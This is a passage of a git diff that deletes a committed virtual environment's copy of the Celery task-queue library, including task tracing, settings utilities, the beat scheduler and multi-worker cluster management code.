task.__trace__(uuid, args, kwargs, request) - except Exception as exc: - _signal_internal_error(task, uuid, args, kwargs, request, exc) - return trace_ok_t(report_internal_error(task, exc), TraceInfo(FAILURE, exc), 0.0, None) - - -def _signal_internal_error(task, uuid, args, kwargs, request, exc): - """Send a special `internal_error` signal to the app for outside body errors.""" - try: - _, _, tb = sys.exc_info() - einfo = ExceptionInfo() - einfo.exception = get_pickleable_exception(einfo.exception) - einfo.type = get_pickleable_etype(einfo.type) - signals.task_internal_error.send( - sender=task, - task_id=uuid, - args=args, - kwargs=kwargs, - request=request, - exception=exc, - traceback=tb, - einfo=einfo, - ) - finally: - del tb - - -def trace_task_ret(name, uuid, request, body, content_type, - content_encoding, loads=loads_message, app=None, - **extra_request): - app = app or current_app._get_current_object() - embed = None - if content_type: - accept = prepare_accept_content(app.conf.accept_content) - args, kwargs, embed = loads( - body, content_type, content_encoding, accept=accept, - ) - else: - args, kwargs, embed = body - hostname = gethostname() - request.update({ - 'args': args, 'kwargs': kwargs, - 'hostname': hostname, 'is_eager': False, - }, **embed or {}) - R, I, T, Rstr = trace_task(app.tasks[name], - uuid, args, kwargs, request, app=app) - return (1, R, T) if I else (0, Rstr, T) - - -def fast_trace_task(task, uuid, request, body, content_type, - content_encoding, loads=loads_message, _loc=None, - hostname=None, **_): - _loc = _localized if not _loc else _loc - embed = None - tasks, accept, hostname = _loc - if content_type: - args, kwargs, embed = loads( - body, content_type, content_encoding, accept=accept, - ) - else: - args, kwargs, embed = body - request.update({ - 'args': args, 'kwargs': kwargs, - 'hostname': hostname, 'is_eager': False, - }, **embed or {}) - R, I, T, Rstr = tasks[task].__trace__( - uuid, args, kwargs, request, - ) - return (1, R, T) if I else (0, Rstr, T) - - -def report_internal_error(task, exc): - _type, _value, _tb = sys.exc_info() - try: - _value = task.backend.prepare_exception(exc, 'pickle') - exc_info = ExceptionInfo((_type, _value, _tb), internal=True) - warn(RuntimeWarning( - 'Exception raised outside body: {!r}:\n{}'.format( - exc, exc_info.traceback))) - return exc_info - finally: - del _tb - - -def setup_worker_optimizations(app, hostname=None): - """Setup worker related optimizations.""" - hostname = hostname or gethostname() - - # make sure custom Task.__call__ methods that calls super - # won't mess up the request/task stack. - _install_stack_protection() - - # all new threads start without a current app, so if an app is not - # passed on to the thread it will fall back to the "default app", - # which then could be the wrong app. So for the worker - # we set this to always return our app. This is a hack, - # and means that only a single app can be used for workers - # running in the same process. - app.set_current() - app.set_default() - - # evaluate all task classes by finalizing the app. - app.finalize() - - # set fast shortcut to task registry - _localized[:] = [ - app._tasks, - prepare_accept_content(app.conf.accept_content), - hostname, - ] - - app.use_fast_trace_task = True - - -def reset_worker_optimizations(app=current_app): - """Reset previously configured optimizations.""" - try: - delattr(BaseTask, '_stackprotected') - except AttributeError: - pass - try: - BaseTask.__call__ = _patched.pop('BaseTask.__call__') - except KeyError: - pass - app.use_fast_trace_task = False - - -def _install_stack_protection(): - # Patches BaseTask.__call__ in the worker to handle the edge case - # where people override it and also call super. - # - # - The worker optimizes away BaseTask.__call__ and instead - # calls task.run directly. - # - so with the addition of current_task and the request stack - # BaseTask.__call__ now pushes to those stacks so that - # they work when tasks are called directly. - # - # The worker only optimizes away __call__ in the case - # where it hasn't been overridden, so the request/task stack - # will blow if a custom task class defines __call__ and also - # calls super(). - if not getattr(BaseTask, '_stackprotected', False): - _patched['BaseTask.__call__'] = orig = BaseTask.__call__ - - def __protected_call__(self, *args, **kwargs): - stack = self.request_stack - req = stack.top - if req and not req._protected and \ - len(stack) == 1 and not req.called_directly: - req._protected = 1 - return self.run(*args, **kwargs) - return orig(self, *args, **kwargs) - BaseTask.__call__ = __protected_call__ - BaseTask._stackprotected = True diff --git a/backend/venv/Lib/site-packages/celery/app/utils.py b/backend/venv/Lib/site-packages/celery/app/utils.py deleted file mode 100644 index da2ee66a..00000000 --- a/backend/venv/Lib/site-packages/celery/app/utils.py +++ /dev/null @@ -1,415 +0,0 @@ -"""App utilities: Compat settings, bug-report tool, pickling apps.""" -import os -import platform as _platform -import re -from collections import namedtuple -from collections.abc import Mapping -from copy import deepcopy -from types import ModuleType - -from kombu.utils.url import maybe_sanitize_url - -from celery.exceptions import ImproperlyConfigured -from celery.platforms import pyimplementation -from celery.utils.collections import ConfigurationView -from celery.utils.imports import import_from_cwd, qualname, symbol_by_name -from celery.utils.text import pretty - -from .defaults import _OLD_DEFAULTS, _OLD_SETTING_KEYS, _TO_NEW_KEY, _TO_OLD_KEY, DEFAULTS, SETTING_KEYS, find - -__all__ = ( - 'Settings', 'appstr', 'bugreport', - 'filter_hidden_settings', 'find_app', -) - -#: Format used to generate bug-report information. -BUGREPORT_INFO = """ -software -> celery:{celery_v} kombu:{kombu_v} py:{py_v} - billiard:{billiard_v} {driver_v} -platform -> system:{system} arch:{arch} - kernel version:{kernel_version} imp:{py_i} -loader -> {loader} -settings -> transport:{transport} results:{results} - -{human_settings} -""" - -HIDDEN_SETTINGS = re.compile( - 'API|TOKEN|KEY|SECRET|PASS|PROFANITIES_LIST|SIGNATURE|DATABASE|BEAT_DBURI', - re.IGNORECASE, -) - -E_MIX_OLD_INTO_NEW = """ - -Cannot mix new and old setting keys, please rename the -following settings to the new format: - -{renames} - -""" - -E_MIX_NEW_INTO_OLD = """ - -Cannot mix new setting names with old setting names, please -rename the following settings to use the old format: - -{renames} - -Or change all of the settings to use the new format :) - -""" - -FMT_REPLACE_SETTING = '{replace:<36} -> {with_}' - - -def appstr(app): - """String used in __repr__ etc, to id app instances.""" - return f'{app.main or "__main__"} at {id(app):#x}' - - -class Settings(ConfigurationView): - """Celery settings object. - - .. seealso: - - :ref:`configuration` for a full list of configuration keys. - - """ - - def __init__(self, *args, deprecated_settings=None, **kwargs): - super().__init__(*args, **kwargs) - - self.deprecated_settings = deprecated_settings - - @property - def broker_read_url(self): - return ( - os.environ.get('CELERY_BROKER_READ_URL') or - self.get('broker_read_url') or - self.broker_url - ) - - @property - def broker_write_url(self): - return ( - os.environ.get('CELERY_BROKER_WRITE_URL') or - self.get('broker_write_url') or - self.broker_url - ) - - @property - def broker_url(self): - return ( - os.environ.get('CELERY_BROKER_URL') or - self.first('broker_url', 'broker_host') - ) - - @property - def result_backend(self): - return ( - os.environ.get('CELERY_RESULT_BACKEND') or - self.first('result_backend', 'CELERY_RESULT_BACKEND') - ) - - @property - def task_default_exchange(self): - return self.first( - 'task_default_exchange', - 'task_default_queue', - ) - - @property - def task_default_routing_key(self): - return self.first( - 'task_default_routing_key', - 'task_default_queue', - ) - - @property - def timezone(self): - # this way we also support django's time zone. - return self.first('timezone', 'TIME_ZONE') - - def without_defaults(self): - """Return the current configuration, but without defaults.""" - # the last stash is the default settings, so just skip that - return Settings({}, self.maps[:-1]) - - def value_set_for(self, key): - return key in self.without_defaults() - - def find_option(self, name, namespace=''): - """Search for option by name. - - Example: - >>> from proj.celery import app - >>> app.conf.find_option('disable_rate_limits') - ('worker', 'prefetch_multiplier', - bool default->False>)) - - Arguments: - name (str): Name of option, cannot be partial. - namespace (str): Preferred name-space (``None`` by default). - Returns: - Tuple: of ``(namespace, key, type)``. - """ - return find(name, namespace) - - def find_value_for_key(self, name, namespace='celery'): - """Shortcut to ``get_by_parts(*find_option(name)[:-1])``.""" - return self.get_by_parts(*self.find_option(name, namespace)[:-1]) - - def get_by_parts(self, *parts): - """Return the current value for setting specified as a path. - - Example: - >>> from proj.celery import app - >>> app.conf.get_by_parts('worker', 'disable_rate_limits') - False - """ - return self['_'.join(part for part in parts if part)] - - def finalize(self): - # See PendingConfiguration in celery/app/base.py - # first access will read actual configuration. - try: - self['__bogus__'] - except KeyError: - pass - return self - - def table(self, with_defaults=False, censored=True): - filt = filter_hidden_settings if censored else lambda v: v - dict_members = dir(dict) - self.finalize() - settings = self if with_defaults else self.without_defaults() - return filt({ - k: v for k, v in settings.items() - if not k.startswith('_') and k not in dict_members - }) - - def humanize(self, with_defaults=False, censored=True): - """Return a human readable text showing configuration changes.""" - return '\n'.join( - f'{key}: {pretty(value, width=50)}' - for key, value in self.table(with_defaults, censored).items()) - - def maybe_warn_deprecated_settings(self): - # TODO: Remove this method in Celery 6.0 - if self.deprecated_settings: - from celery.app.defaults import _TO_NEW_KEY - from celery.utils import deprecated - for setting in self.deprecated_settings: - deprecated.warn(description=f'The {setting!r} setting', - removal='6.0.0', - alternative=f'Use the {_TO_NEW_KEY[setting]} instead') - - return True - - return False - - -def _new_key_to_old(key, convert=_TO_OLD_KEY.get): - return convert(key, key) - - -def _old_key_to_new(key, convert=_TO_NEW_KEY.get): - return convert(key, key) - - -_settings_info_t = namedtuple('settings_info_t', ( - 'defaults', 'convert', 'key_t', 'mix_error', -)) - -_settings_info = _settings_info_t( - DEFAULTS, _TO_NEW_KEY, _old_key_to_new, E_MIX_OLD_INTO_NEW, -) -_old_settings_info = _settings_info_t( - _OLD_DEFAULTS, _TO_OLD_KEY, _new_key_to_old, E_MIX_NEW_INTO_OLD, -) - - -def detect_settings(conf, preconf=None, ignore_keys=None, prefix=None, - all_keys=None, old_keys=None): - preconf = {} if not preconf else preconf - ignore_keys = set() if not ignore_keys else ignore_keys - all_keys = SETTING_KEYS if not all_keys else all_keys - old_keys = _OLD_SETTING_KEYS if not old_keys else old_keys - - source = conf - if conf is None: - source, conf = preconf, {} - have = set(source.keys()) - ignore_keys - is_in_new = have.intersection(all_keys) - is_in_old = have.intersection(old_keys) - - info = None - if is_in_new: - # have new setting names - info, left = _settings_info, is_in_old - if is_in_old and len(is_in_old) > len(is_in_new): - # Majority of the settings are old. - info, left = _old_settings_info, is_in_new - if is_in_old: - # have old setting names, or a majority of the names are old. - if not info: - info, left = _old_settings_info, is_in_new - if is_in_new and len(is_in_new) > len(is_in_old): - # Majority of the settings are new - info, left = _settings_info, is_in_old - else: - # no settings, just use new format. - info, left = _settings_info, is_in_old - - if prefix: - # always use new format if prefix is used. - info, left = _settings_info, set() - - # only raise error for keys that the user didn't provide two keys - # for (e.g., both ``result_expires`` and ``CELERY_TASK_RESULT_EXPIRES``). - really_left = {key for key in left if info.convert[key] not in have} - if really_left: - # user is mixing old/new, or new/old settings, give renaming - # suggestions. - raise ImproperlyConfigured(info.mix_error.format(renames='\n'.join( - FMT_REPLACE_SETTING.format(replace=key, with_=info.convert[key]) - for key in sorted(really_left) - ))) - - preconf = {info.convert.get(k, k): v for k, v in preconf.items()} - defaults = dict(deepcopy(info.defaults), **preconf) - return Settings( - preconf, [conf, defaults], - (_old_key_to_new, _new_key_to_old), - deprecated_settings=is_in_old, - prefix=prefix, - ) - - -class AppPickler: - """Old application pickler/unpickler (< 3.1).""" - - def __call__(self, cls, *args): - kwargs = self.build_kwargs(*args) - app = self.construct(cls, **kwargs) - self.prepare(app, **kwargs) - return app - - def prepare(self, app, **kwargs): - app.conf.update(kwargs['changes']) - - def build_kwargs(self, *args): - return self.build_standard_kwargs(*args) - - def build_standard_kwargs(self, main, changes, loader, backend, amqp, - events, log, control, accept_magic_kwargs, - config_source=None): - return {'main': main, 'loader': loader, 'backend': backend, - 'amqp': amqp, 'changes': changes, 'events': events, - 'log': log, 'control': control, 'set_as_current': False, - 'config_source': config_source} - - def construct(self, cls, **kwargs): - return cls(**kwargs) - - -def _unpickle_app(cls, pickler, *args): - """Rebuild app for versions 2.5+.""" - return pickler()(cls, *args) - - -def _unpickle_app_v2(cls, kwargs): - """Rebuild app for versions 3.1+.""" - kwargs['set_as_current'] = False - return cls(**kwargs) - - -def filter_hidden_settings(conf): - """Filter sensitive settings.""" - def maybe_censor(key, value, mask='*' * 8): - if isinstance(value, Mapping): - return filter_hidden_settings(value) - if isinstance(key, str): - if HIDDEN_SETTINGS.search(key): - return mask - elif 'broker_url' in key.lower(): - from kombu import Connection - return Connection(value).as_uri(mask=mask) - elif 'backend' in key.lower(): - return maybe_sanitize_url(value, mask=mask) - - return value - - return {k: maybe_censor(k, v) for k, v in conf.items()} - - -def bugreport(app): - """Return a string containing information useful in bug-reports.""" - import billiard - import kombu - - import celery - - try: - conn = app.connection() - driver_v = '{}:{}'.format(conn.transport.driver_name, - conn.transport.driver_version()) - transport = conn.transport_cls - except Exception: # pylint: disable=broad-except - transport = driver_v = '' - - return BUGREPORT_INFO.format( - system=_platform.system(), - arch=', '.join(x for x in _platform.architecture() if x), - kernel_version=_platform.release(), - py_i=pyimplementation(), - celery_v=celery.VERSION_BANNER, - kombu_v=kombu.__version__, - billiard_v=billiard.__version__, - py_v=_platform.python_version(), - driver_v=driver_v, - transport=transport, - results=maybe_sanitize_url(app.conf.result_backend or 'disabled'), - human_settings=app.conf.humanize(), - loader=qualname(app.loader.__class__), - ) - - -def find_app(app, symbol_by_name=symbol_by_name, imp=import_from_cwd): - """Find app by name.""" - from .base import Celery - - try: - sym = symbol_by_name(app, imp=imp) - except AttributeError: - # last part was not an attribute, but a module - sym = imp(app) - if isinstance(sym, ModuleType) and ':' not in app: - try: - found = sym.app - if isinstance(found, ModuleType): - raise AttributeError() - except AttributeError: - try: - found = sym.celery - if isinstance(found, ModuleType): - raise AttributeError( - "attribute 'celery' is the celery module not the instance of celery") - except AttributeError: - if getattr(sym, '__path__', None): - try: - return find_app( - f'{app}.celery', - symbol_by_name=symbol_by_name, imp=imp, - ) - except ImportError: - pass - for suspect in vars(sym).values(): - if isinstance(suspect, Celery): - return suspect - raise - else: - return found - else: - return found - return sym diff --git a/backend/venv/Lib/site-packages/celery/apps/__init__.py b/backend/venv/Lib/site-packages/celery/apps/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/celery/apps/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/apps/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index b5376512..00000000 Binary files a/backend/venv/Lib/site-packages/celery/apps/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/apps/__pycache__/beat.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/apps/__pycache__/beat.cpython-311.pyc deleted file mode 100644 index b573aa01..00000000 Binary files a/backend/venv/Lib/site-packages/celery/apps/__pycache__/beat.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/apps/__pycache__/multi.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/apps/__pycache__/multi.cpython-311.pyc deleted file mode 100644 index 84966997..00000000 Binary files a/backend/venv/Lib/site-packages/celery/apps/__pycache__/multi.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/apps/__pycache__/worker.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/apps/__pycache__/worker.cpython-311.pyc deleted file mode 100644 index d426aaed..00000000 Binary files a/backend/venv/Lib/site-packages/celery/apps/__pycache__/worker.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/apps/beat.py b/backend/venv/Lib/site-packages/celery/apps/beat.py deleted file mode 100644 index 7258ac85..00000000 --- a/backend/venv/Lib/site-packages/celery/apps/beat.py +++ /dev/null @@ -1,160 +0,0 @@ -"""Beat command-line program. - -This module is the 'program-version' of :mod:`celery.beat`. - -It does everything necessary to run that module -as an actual application, like installing signal handlers -and so on. -""" -from __future__ import annotations - -import numbers -import socket -import sys -from datetime import datetime -from signal import Signals -from types import FrameType -from typing import Any - -from celery import VERSION_BANNER, Celery, beat, platforms -from celery.utils.imports import qualname -from celery.utils.log import LOG_LEVELS, get_logger -from celery.utils.time import humanize_seconds - -__all__ = ('Beat',) - -STARTUP_INFO_FMT = """ -LocalTime -> {timestamp} -Configuration -> - . broker -> {conninfo} - . loader -> {loader} - . scheduler -> {scheduler} -{scheduler_info} - . logfile -> {logfile}@%{loglevel} - . maxinterval -> {hmax_interval} ({max_interval}s) -""".strip() - -logger = get_logger('celery.beat') - - -class Beat: - """Beat as a service.""" - - Service = beat.Service - app: Celery = None - - def __init__(self, max_interval: int | None = None, app: Celery | None = None, - socket_timeout: int = 30, pidfile: str | None = None, no_color: bool | None = None, - loglevel: str = 'WARN', logfile: str | None = None, schedule: str | None = None, - scheduler: str | None = None, - scheduler_cls: str | None = None, # XXX use scheduler - redirect_stdouts: bool | None = None, - redirect_stdouts_level: str | None = None, - quiet: bool = False, **kwargs: Any) -> None: - self.app = app = app or self.app - either = self.app.either - self.loglevel = loglevel - self.logfile = logfile - self.schedule = either('beat_schedule_filename', schedule) - self.scheduler_cls = either( - 'beat_scheduler', scheduler, scheduler_cls) - self.redirect_stdouts = either( - 'worker_redirect_stdouts', redirect_stdouts) - self.redirect_stdouts_level = either( - 'worker_redirect_stdouts_level', redirect_stdouts_level) - self.quiet = quiet - - self.max_interval = max_interval - self.socket_timeout = socket_timeout - self.no_color = no_color - self.colored = app.log.colored( - self.logfile, - enabled=not no_color if no_color is not None else no_color, - ) - self.pidfile = pidfile - if not isinstance(self.loglevel, numbers.Integral): - self.loglevel = LOG_LEVELS[self.loglevel.upper()] - - def run(self) -> None: - if not self.quiet: - print(str(self.colored.cyan( - f'celery beat v{VERSION_BANNER} is starting.'))) - self.init_loader() - self.set_process_title() - self.start_scheduler() - - def setup_logging(self, colorize: bool | None = None) -> None: - if colorize is None and self.no_color is not None: - colorize = not self.no_color - self.app.log.setup(self.loglevel, self.logfile, - self.redirect_stdouts, self.redirect_stdouts_level, - colorize=colorize) - - def start_scheduler(self) -> None: - if self.pidfile: - platforms.create_pidlock(self.pidfile) - service = self.Service( - app=self.app, - max_interval=self.max_interval, - scheduler_cls=self.scheduler_cls, - schedule_filename=self.schedule, - ) - - if not self.quiet: - print(self.banner(service)) - - self.setup_logging() - if self.socket_timeout: - logger.debug('Setting default socket timeout to %r', - self.socket_timeout) - socket.setdefaulttimeout(self.socket_timeout) - try: - self.install_sync_handler(service) - service.start() - except Exception as exc: - logger.critical('beat raised exception %s: %r', - exc.__class__, exc, - exc_info=True) - raise - - def banner(self, service: beat.Service) -> str: - c = self.colored - return str( - c.blue('__ ', c.magenta('-'), - c.blue(' ... __ '), c.magenta('-'), - c.blue(' _\n'), - c.reset(self.startup_info(service))), - ) - - def init_loader(self) -> None: - # Run the worker init handler. - # (Usually imports task modules and such.) - self.app.loader.init_worker() - self.app.finalize() - - def startup_info(self, service: beat.Service) -> str: - scheduler = service.get_scheduler(lazy=True) - return STARTUP_INFO_FMT.format( - conninfo=self.app.connection().as_uri(), - timestamp=datetime.now().replace(microsecond=0), - logfile=self.logfile or '[stderr]', - loglevel=LOG_LEVELS[self.loglevel], - loader=qualname(self.app.loader), - scheduler=qualname(scheduler), - scheduler_info=scheduler.info, - hmax_interval=humanize_seconds(scheduler.max_interval), - max_interval=scheduler.max_interval, - ) - - def set_process_title(self) -> None: - arg_start = 'manage' in sys.argv[0] and 2 or 1 - platforms.set_process_title( - 'celery beat', info=' '.join(sys.argv[arg_start:]), - ) - - def install_sync_handler(self, service: beat.Service) -> None: - """Install a `SIGTERM` + `SIGINT` handler saving the schedule.""" - def _sync(signum: Signals, frame: FrameType) -> None: - service.sync() - raise SystemExit() - platforms.signals.update(SIGTERM=_sync, SIGINT=_sync) diff --git a/backend/venv/Lib/site-packages/celery/apps/multi.py b/backend/venv/Lib/site-packages/celery/apps/multi.py deleted file mode 100644 index 1fe60042..00000000 --- a/backend/venv/Lib/site-packages/celery/apps/multi.py +++ /dev/null @@ -1,506 +0,0 @@ -"""Start/stop/manage workers.""" -import errno -import os -import shlex -import signal -import sys -from collections import OrderedDict, UserList, defaultdict -from functools import partial -from subprocess import Popen -from time import sleep - -from kombu.utils.encoding import from_utf8 -from kombu.utils.objects import cached_property - -from celery.platforms import IS_WINDOWS, Pidfile, signal_name -from celery.utils.nodenames import gethostname, host_format, node_format, nodesplit -from celery.utils.saferepr import saferepr - -__all__ = ('Cluster', 'Node') - -CELERY_EXE = 'celery' - - -def celery_exe(*args): - return ' '.join((CELERY_EXE,) + args) - - -def build_nodename(name, prefix, suffix): - hostname = suffix - if '@' in name: - nodename = host_format(name) - shortname, hostname = nodesplit(nodename) - name = shortname - else: - shortname = f'{prefix}{name}' - nodename = host_format( - f'{shortname}@{hostname}', - ) - return name, nodename, hostname - - -def build_expander(nodename, shortname, hostname): - return partial( - node_format, - name=nodename, - N=shortname, - d=hostname, - h=nodename, - i='%i', - I='%I', - ) - - -def format_opt(opt, value): - if not value: - return opt - if opt.startswith('--'): - return f'{opt}={value}' - return f'{opt} {value}' - - -def _kwargs_to_command_line(kwargs): - return { - ('--{}'.format(k.replace('_', '-')) - if len(k) > 1 else f'-{k}'): f'{v}' - for k, v in kwargs.items() - } - - -class NamespacedOptionParser: - - def __init__(self, args): - self.args = args - self.options = OrderedDict() - self.values = [] - self.passthrough = '' - self.namespaces = defaultdict(lambda: OrderedDict()) - - def parse(self): - rargs = [arg for arg in self.args if arg] - pos = 0 - while pos < len(rargs): - arg = rargs[pos] - if arg == '--': - self.passthrough = ' '.join(rargs[pos:]) - break - elif arg[0] == '-': - if arg[1] == '-': - self.process_long_opt(arg[2:]) - else: - value = None - if len(rargs) > pos + 1 and rargs[pos + 1][0] != '-': - value = rargs[pos + 1] - pos += 1 - self.process_short_opt(arg[1:], value) - else: - self.values.append(arg) - pos += 1 - - def process_long_opt(self, arg, value=None): - if '=' in arg: - arg, value = arg.split('=', 1) - self.add_option(arg, value, short=False) - - def process_short_opt(self, arg, value=None): - self.add_option(arg, value, short=True) - - def optmerge(self, ns, defaults=None): - if defaults is None: - defaults = self.options - return OrderedDict(defaults, **self.namespaces[ns]) - - def add_option(self, name, value, short=False, ns=None): - prefix = short and '-' or '--' - dest = self.options - if ':' in name: - name, ns = name.split(':') - dest = self.namespaces[ns] - dest[prefix + name] = value - - -class Node: - """Represents a node in a cluster.""" - - def __init__(self, name, - cmd=None, append=None, options=None, extra_args=None): - self.name = name - self.cmd = cmd or f"-m {celery_exe('worker', '--detach')}" - self.append = append - self.extra_args = extra_args or '' - self.options = self._annotate_with_default_opts( - options or OrderedDict()) - self.expander = self._prepare_expander() - self.argv = self._prepare_argv() - self._pid = None - - def _annotate_with_default_opts(self, options): - options['-n'] = self.name - self._setdefaultopt(options, ['--pidfile', '-p'], '/var/run/celery/%n.pid') - self._setdefaultopt(options, ['--logfile', '-f'], '/var/log/celery/%n%I.log') - self._setdefaultopt(options, ['--executable'], sys.executable) - return options - - def _setdefaultopt(self, d, alt, value): - for opt in alt[1:]: - try: - return d[opt] - except KeyError: - pass - value = d.setdefault(alt[0], os.path.normpath(value)) - dir_path = os.path.dirname(value) - if dir_path and not os.path.exists(dir_path): - os.makedirs(dir_path) - return value - - def _prepare_expander(self): - shortname, hostname = self.name.split('@', 1) - return build_expander( - self.name, shortname, hostname) - - def _prepare_argv(self): - cmd = self.expander(self.cmd).split(' ') - i = cmd.index('celery') + 1 - - options = self.options.copy() - for opt, value in self.options.items(): - if opt in ( - '-A', '--app', - '-b', '--broker', - '--result-backend', - '--loader', - '--config', - '--workdir', - '-C', '--no-color', - '-q', '--quiet', - ): - cmd.insert(i, format_opt(opt, self.expander(value))) - - options.pop(opt) - - cmd = [' '.join(cmd)] - argv = tuple( - cmd + - [format_opt(opt, self.expander(value)) - for opt, value in options.items()] + - [self.extra_args] - ) - if self.append: - argv += (self.expander(self.append),) - return argv - - def alive(self): - return self.send(0) - - def send(self, sig, on_error=None): - pid = self.pid - if pid: - try: - os.kill(pid, sig) - except OSError as exc: - if exc.errno != errno.ESRCH: - raise - maybe_call(on_error, self) - return False - return True - maybe_call(on_error, self) - - def start(self, env=None, **kwargs): - return self._waitexec( - self.argv, path=self.executable, env=env, **kwargs) - - def _waitexec(self, argv, path=sys.executable, env=None, - on_spawn=None, on_signalled=None, on_failure=None): - argstr = self.prepare_argv(argv, path) - maybe_call(on_spawn, self, argstr=' '.join(argstr), env=env) - pipe = Popen(argstr, env=env) - return self.handle_process_exit( - pipe.wait(), - on_signalled=on_signalled, - on_failure=on_failure, - ) - - def handle_process_exit(self, retcode, on_signalled=None, on_failure=None): - if retcode < 0: - maybe_call(on_signalled, self, -retcode) - return -retcode - elif retcode > 0: - maybe_call(on_failure, self, retcode) - return retcode - - def prepare_argv(self, argv, path): - args = ' '.join([path] + list(argv)) - return shlex.split(from_utf8(args), posix=not IS_WINDOWS) - - def getopt(self, *alt): - for opt in alt: - try: - return self.options[opt] - except KeyError: - pass - raise KeyError(alt[0]) - - def __repr__(self): - return f'<{type(self).__name__}: {self.name}>' - - @cached_property - def pidfile(self): - return self.expander(self.getopt('--pidfile', '-p')) - - @cached_property - def logfile(self): - return self.expander(self.getopt('--logfile', '-f')) - - @property - def pid(self): - if self._pid is not None: - return self._pid - try: - return Pidfile(self.pidfile).read_pid() - except ValueError: - pass - - @pid.setter - def pid(self, value): - self._pid = value - - @cached_property - def executable(self): - return self.options['--executable'] - - @cached_property - def argv_with_executable(self): - return (self.executable,) + self.argv - - @classmethod - def from_kwargs(cls, name, **kwargs): - return cls(name, options=_kwargs_to_command_line(kwargs)) - - -def maybe_call(fun, *args, **kwargs): - if fun is not None: - fun(*args, **kwargs) - - -class MultiParser: - Node = Node - - def __init__(self, cmd='celery worker', - append='', prefix='', suffix='', - range_prefix='celery'): - self.cmd = cmd - self.append = append - self.prefix = prefix - self.suffix = suffix - self.range_prefix = range_prefix - - def parse(self, p): - names = p.values - options = dict(p.options) - ranges = len(names) == 1 - prefix = self.prefix - cmd = options.pop('--cmd', self.cmd) - append = options.pop('--append', self.append) - hostname = options.pop('--hostname', options.pop('-n', gethostname())) - prefix = options.pop('--prefix', prefix) or '' - suffix = options.pop('--suffix', self.suffix) or hostname - suffix = '' if suffix in ('""', "''") else suffix - range_prefix = options.pop('--range-prefix', '') or self.range_prefix - if ranges: - try: - names, prefix = self._get_ranges(names), range_prefix - except ValueError: - pass - self._update_ns_opts(p, names) - self._update_ns_ranges(p, ranges) - - return ( - self._node_from_options( - p, name, prefix, suffix, cmd, append, options) - for name in names - ) - - def _node_from_options(self, p, name, prefix, - suffix, cmd, append, options): - namespace, nodename, _ = build_nodename(name, prefix, suffix) - namespace = nodename if nodename in p.namespaces else namespace - return Node(nodename, cmd, append, - p.optmerge(namespace, options), p.passthrough) - - def _get_ranges(self, names): - noderange = int(names[0]) - return [str(n) for n in range(1, noderange + 1)] - - def _update_ns_opts(self, p, names): - # Numbers in args always refers to the index in the list of names. - # (e.g., `start foo bar baz -c:1` where 1 is foo, 2 is bar, and so on). - for ns_name, ns_opts in list(p.namespaces.items()): - if ns_name.isdigit(): - ns_index = int(ns_name) - 1 - if ns_index < 0: - raise KeyError(f'Indexes start at 1 got: {ns_name!r}') - try: - p.namespaces[names[ns_index]].update(ns_opts) - except IndexError: - raise KeyError(f'No node at index {ns_name!r}') - - def _update_ns_ranges(self, p, ranges): - for ns_name, ns_opts in list(p.namespaces.items()): - if ',' in ns_name or (ranges and '-' in ns_name): - for subns in self._parse_ns_range(ns_name, ranges): - p.namespaces[subns].update(ns_opts) - p.namespaces.pop(ns_name) - - def _parse_ns_range(self, ns, ranges=False): - ret = [] - for space in ',' in ns and ns.split(',') or [ns]: - if ranges and '-' in space: - start, stop = space.split('-') - ret.extend( - str(n) for n in range(int(start), int(stop) + 1) - ) - else: - ret.append(space) - return ret - - -class Cluster(UserList): - """Represent a cluster of workers.""" - - def __init__(self, nodes, cmd=None, env=None, - on_stopping_preamble=None, - on_send_signal=None, - on_still_waiting_for=None, - on_still_waiting_progress=None, - on_still_waiting_end=None, - on_node_start=None, - on_node_restart=None, - on_node_shutdown_ok=None, - on_node_status=None, - on_node_signal=None, - on_node_signal_dead=None, - on_node_down=None, - on_child_spawn=None, - on_child_signalled=None, - on_child_failure=None): - self.nodes = nodes - self.cmd = cmd or celery_exe('worker') - self.env = env - - self.on_stopping_preamble = on_stopping_preamble - self.on_send_signal = on_send_signal - self.on_still_waiting_for = on_still_waiting_for - self.on_still_waiting_progress = on_still_waiting_progress - self.on_still_waiting_end = on_still_waiting_end - self.on_node_start = on_node_start - self.on_node_restart = on_node_restart - self.on_node_shutdown_ok = on_node_shutdown_ok - self.on_node_status = on_node_status - self.on_node_signal = on_node_signal - self.on_node_signal_dead = on_node_signal_dead - self.on_node_down = on_node_down - self.on_child_spawn = on_child_spawn - self.on_child_signalled = on_child_signalled - self.on_child_failure = on_child_failure - - def start(self): - return [self.start_node(node) for node in self] - - def start_node(self, node): - maybe_call(self.on_node_start, node) - retcode = self._start_node(node) - maybe_call(self.on_node_status, node, retcode) - return retcode - - def _start_node(self, node): - return node.start( - self.env, - on_spawn=self.on_child_spawn, - on_signalled=self.on_child_signalled, - on_failure=self.on_child_failure, - ) - - def send_all(self, sig): - for node in self.getpids(on_down=self.on_node_down): - maybe_call(self.on_node_signal, node, signal_name(sig)) - node.send(sig, self.on_node_signal_dead) - - def kill(self): - return self.send_all(signal.SIGKILL) - - def restart(self, sig=signal.SIGTERM): - retvals = [] - - def restart_on_down(node): - maybe_call(self.on_node_restart, node) - retval = self._start_node(node) - maybe_call(self.on_node_status, node, retval) - retvals.append(retval) - - self._stop_nodes(retry=2, on_down=restart_on_down, sig=sig) - return retvals - - def stop(self, retry=None, callback=None, sig=signal.SIGTERM): - return self._stop_nodes(retry=retry, on_down=callback, sig=sig) - - def stopwait(self, retry=2, callback=None, sig=signal.SIGTERM): - return self._stop_nodes(retry=retry, on_down=callback, sig=sig) - - def _stop_nodes(self, retry=None, on_down=None, sig=signal.SIGTERM): - on_down = on_down if on_down is not None else self.on_node_down - nodes = list(self.getpids(on_down=on_down)) - if nodes: - for node in self.shutdown_nodes(nodes, sig=sig, retry=retry): - maybe_call(on_down, node) - - def shutdown_nodes(self, nodes, sig=signal.SIGTERM, retry=None): - P = set(nodes) - maybe_call(self.on_stopping_preamble, nodes) - to_remove = set() - 